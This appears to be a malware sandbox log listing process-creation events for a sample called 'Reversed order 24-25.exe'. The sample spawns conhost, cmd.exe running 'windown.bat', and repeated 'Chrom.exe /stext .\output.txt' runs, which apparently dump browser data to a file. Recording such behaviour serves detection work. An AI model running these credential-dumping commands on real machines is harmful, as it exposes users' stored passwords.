Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1984,i,1009906333023081742,3972239843307581184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
